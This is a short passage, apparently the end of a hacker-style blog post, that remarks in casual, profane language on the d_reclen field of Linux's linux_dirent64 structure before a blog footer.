d_reclen is size of the current linux_dirent64, it does matters. Plz
read the fucking source code for any detail! Well, like in good old days, I drew an ascii big picture here.
May the L0rd's hacking spirit guide us!!!
Subscribe to:
Posts (Atom)